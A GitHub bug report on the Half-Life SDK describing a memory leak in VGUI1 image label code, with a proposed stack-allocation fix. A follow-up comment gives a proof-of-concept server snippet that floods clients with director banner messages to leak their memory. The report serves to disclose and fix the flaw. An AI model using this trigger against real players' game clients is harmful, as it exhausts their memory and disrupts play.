halflife
halflife copied to clipboard
Memory leak in VGUI1 Image Label code
This code leaks FileInputStream objects:
https://github.com/ValveSoftware/halflife/blob/c7240b965743a53a29491dd49320c88eecf6257b/cl_dll/vgui_CustomObjects.cpp#L383-L393
The object is created but never freed, so repeated calls can use up all memory. It would take an obscene amount of calls to accomplish that though, this leaks about 8 bytes per object (4 bytes for the vtable, 4 bytes for the FILE pointer).
Allocating the stream on the stack will solve this problem:
FileInputStream fis( sz, false );
m_pTGA = new BitmapTGA(&fis,true);
fis.close();
This is a valid way to use VGUI1 streams. See this code for an example of another stream that is allocated this way: https://github.com/ValveSoftware/halflife/blob/c7240b965743a53a29491dd49320c88eecf6257b/game_shared/vgui_loadtga.cpp#L65-L78
Adding to this report, this memory leak can be exploited by servers to cause leaks on the client.
At the end of this method: https://github.com/ValveSoftware/halflife/blob/c7240b965743a53a29491dd49320c88eecf6257b/dlls/player.cpp#L3949-L4181
Putting this:
//Image need not exist, and must not exist as a resolution-specific image for the code containing the leak to be reached.
const char* fakeBannerImageName = "foo";
//SVC_DIRECTOR messages start with a byte indicating the total size of the message after the size value.
//The next byte is the command id, followed by command-specific values.
const int messageSize = 1 + strlen(fakeBannerImageName) + 1;
//Leak this many stream objects every time we update the player.
for (int i = 0; i < 50; ++i)
{
MESSAGE_BEGIN(MSG_ONE, SVC_DIRECTOR, NULL, pev);
WRITE_BYTE(messageSize);
WRITE_BYTE(DRC_CMD_BANNER);
WRITE_STRING(fakeBannerImageName);
MESSAGE_END();
}
This will send 50 director messages every time the server updates the client, each message leaks memory. I ran the game with a memory profiler. After just a few seconds (~5 seconds spent in the server) thousands of objects were leaked.
@kisak-valve please, you should offer a job contract to @SamVanheer